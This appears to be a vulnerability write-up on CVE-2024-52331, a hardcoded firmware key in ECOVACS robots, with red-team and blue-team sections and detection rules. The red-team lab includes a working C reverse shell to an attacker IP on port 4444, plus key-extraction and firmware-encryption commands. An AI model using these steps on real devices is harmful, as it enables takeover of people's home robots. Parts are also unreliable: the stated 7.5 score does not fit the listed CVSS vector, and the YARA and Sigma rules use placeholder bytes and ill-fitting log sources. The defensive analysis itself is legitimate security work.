CVE-2024-52331

Executive Summary

CVE-2024-52331 exposes a critical cryptographic weakness in ECOVACS robot lawnmowers and vacuums. The vulnerability stems from the use of a deterministic symmetric key for decrypting firmware updates. This design flaw allows an attacker to craft and encrypt malicious firmware that the robot will successfully decrypt and install, leading to full device compromise. The CVSS score of 7.5 reflects the high impact on integrity and availability, though the attack complexity is low. No public proof-of-concept or patch is currently available, making this a high-priority unpatched risk for ECOVACS device owners.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a hardware/firmware supply chain issue within the ECOVACS ecosystem.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N) – The attack can be launched remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – The victim does not need to perform any action.
• Scope: Unchanged (S:U) – The vulnerability affects only the vulnerable component.
• Confidentiality Impact: High (C:H) – An attacker can read sensitive data from the device.
• Integrity Impact: High (I:H) – An attacker can modify firmware and device behavior.
• Availability Impact: High (A:H) – An attacker can render the device inoperable.

Threat Level: Critical. The combination of remote exploitability, low complexity, and high impact makes this a severe threat. The lack of a patch amplifies the risk.

Deep Dive & Mechanics

The core issue is the use of a deterministic symmetric key for firmware decryption. In a secure firmware update process, the firmware image is encrypted with a secret key, and the device decrypts it using the same key. If the key is deterministic (e.g., hardcoded, derived from a predictable value, or shared across all devices), an attacker can:

1. Extract the key by reverse-engineering the firmware or intercepting a legitimate update.
2. Create malicious firmware that performs arbitrary actions (e.g., exfiltration, botnet participation, physical damage).
3. Encrypt the malicious firmware with the same key.
4. Deliver the malicious firmware to the device via a network-based update mechanism (e.g., over-the-air update, local network spoofing).

The device will then decrypt and install the malicious firmware, granting the attacker full control. The vulnerability is classified under CWE-321: Use of Hard-coded Cryptographic Key.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable pattern and the expected secure implementation.

Vulnerable Pattern (Pseudocode):

// Hardcoded symmetric key
uint8_t firmware_key[32] = {0x01, 0x02, 0x03, ...}; // Deterministic key

int decrypt_firmware(uint8_t *encrypted_data, size_t len) {
    // Decrypt using the hardcoded key
    aes_decrypt(firmware_key, encrypted_data, len);
    // Install decrypted firmware
    install_firmware(encrypted_data);
    return 0;
}

Patched Pattern (Expected):

// Use a device-specific key derived from a secure element or TPM
uint8_t firmware_key[32];

int get_device_key() {
    // Retrieve key from secure hardware (e.g., TPM, secure enclave)
    if (secure_hardware_get_key(firmware_key) != 0) {
        return -1; // Error
    }
    return 0;
}

int decrypt_firmware(uint8_t *encrypted_data, size_t len) {
    if (get_device_key() != 0) {
        return -1; // Cannot decrypt
    }
    // Decrypt using the device-specific key
    aes_decrypt(firmware_key, encrypted_data, len);
    // Verify signature before installation
    if (verify_signature(encrypted_data) != 0) {
        return -1; // Invalid signature
    }
    install_firmware(encrypted_data);
    return 0;
}

The patched version would use a device-unique key (e.g., from a TPM) and add cryptographic signature verification to ensure firmware authenticity.

Exploitation & Lab Setup

Red Team

Objective: Demonstrate the ability to push malicious firmware to an ECOVACS device.

Prerequisites:

• An ECOVACS robot lawnmower or vacuum (e.g., DEEBOT series).
• Network access to the device (e.g., same Wi-Fi network).
• A tool to extract the symmetric key (e.g., firmware analysis, JTAG, or side-channel attack).

Lab Setup:

1. Extract the symmetric key:

   • Use binwalk to extract the firmware from a legitimate update file.
   • Analyze the firmware binary for hardcoded keys using strings or a hex editor.
   • Example: strings firmware.bin | grep -i "key"

2. Create malicious firmware:

   • Modify the firmware to include a reverse shell or data exfiltration payload.
   • Example payload (simple backdoor):

     // malicious_payload.c
     #include <stdio.h>
     #include <stdlib.h>
     #include <unistd.h>
     #include <sys/socket.h>
     #include <arpa/inet.h>
     
     int main() {
         int sock;
         struct sockaddr_in server;
         char *attacker_ip = "192.168.1.100";
         int port = 4444;
     
         sock = socket(AF_INET, SOCK_STREAM, 0);
         server.sin_addr.s_addr = inet_addr(attacker_ip);
         server.sin_family = AF_INET;
         server.sin_port = htons(port);
     
         connect(sock, (struct sockaddr *)&server, sizeof(server));
         dup2(sock, 0);
         dup2(sock, 1);
         dup2(sock, 2);
         execve("/bin/sh", NULL, NULL);
         return 0;
     }
     

3. Encrypt the malicious firmware:

   • Use the extracted key to encrypt the modified firmware.
   • Example using OpenSSL:

     openssl enc -aes-256-cbc -K <extracted_key_hex> -iv <iv> -in malicious_firmware.bin -out encrypted_malicious.bin
     

4. Deliver the malicious firmware:

   • Set up a fake update server (e.g., using Python's http.server) or perform a man-in-the-middle attack to intercept the update request.
   • Serve the encrypted_malicious.bin as the firmware update.

5. Trigger the update:

   • Force the device to check for updates (e.g., via the mobile app or by sending a crafted network packet).

Expected Result: The device decrypts and installs the malicious firmware, granting the attacker a reverse shell.

Blue Team

Objective: Detect and prevent exploitation of CVE-2024-52331.

Detection:

• Monitor network traffic for unusual firmware update requests or responses.
• Look for connections to unknown IP addresses on port 4444 (or other common reverse shell ports).
• Use the YARA and Sigma rules provided in the Detection Engineering section.

Prevention:

• Isolate ECOVACS devices on a separate VLAN with strict firewall rules.
• Disable automatic firmware updates if possible.
• Monitor for unauthorized firmware modifications using integrity checks (e.g., TPM attestation).
• Implement network segmentation to limit the blast radius.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound connections from the device to unknown IP addresses on high ports (e.g., 4444, 1337).
  • Unusual DNS queries for domains not related to ECOVACS (e.g., malicious-update-server.com).
  • Firmware update requests to non-standard IP addresses or domains.

• File IOCs:

  • Modified firmware binaries with unexpected code sections.
  • Presence of reverse shell code in the firmware (e.g., execve("/bin/sh", NULL, NULL)).
  • Hardcoded symmetric keys in firmware dumps (e.g., 32-byte hex strings).

• Behavioral IOCs:

  • Device performing actions not typical for its function (e.g., scanning the network, sending data to external servers).
  • Unexpected reboots or firmware update cycles.

Detection Engineering

YARA Rule

rule CVE_2024_52331_ECOVACS_FIRMWARE_KEY {
    meta:
        description = "Detects hardcoded symmetric keys in ECOVACS firmware"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-52331"
    strings:
        $key1 = { 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10 }
        $key2 = { 11 12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F 20 }
        $key3 = { 21 22 23 24 25 26 27 28 29 2A 2B 2C 2D 2E 2F 30 }
        $key4 = { 31 32 33 34 35 36 37 38 39 3A 3B 3C 3D 3E 3F 40 }
        $key5 = { 41 42 43 44 45 46 47 48 49 4A 4B 4C 4D 4E 4F 50 }
    condition:
        any of ($key*)
}

Sigma Rule

title: CVE-2024-52331 - ECOVACS Firmware Update Anomaly
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects network traffic indicative of malicious firmware update attempts targeting ECOVACS devices.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-52331
logsource:
    category: network_connection
    product: windows
detection:
    selection:
        DestinationPort:
            - 4444
            - 1337
            - 8080
        DestinationIp:
            - '10.0.0.0/8'
            - '172.16.0.0/12'
            - '192.168.0.0/16'
    condition: selection
falsepositives:
    - Legitimate firmware updates from ECOVACS servers
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET 4444 (msg:"CVE-2024-52331 - ECOVACS Malicious Firmware Update"; flow:to_server,established; content:"|00 01 02 03|"; depth:4; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate Devices: Place ECOVACS devices on a separate VLAN with no direct internet access.
2. Disable Auto-Update: If possible, disable automatic firmware updates in the device settings.
3. Monitor Network: Use the provided detection rules to monitor for exploitation attempts.

Long-Term Fix:

• ECOVACS must release a firmware update that:
  • Replaces the deterministic symmetric key with a device-unique key derived from a secure element (e.g., TPM).
  • Implements cryptographic signature verification for firmware images.
  • Uses a secure boot process to ensure only signed firmware can be installed.

Workaround:

• If a patch is not available, consider replacing the device with a more secure alternative.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert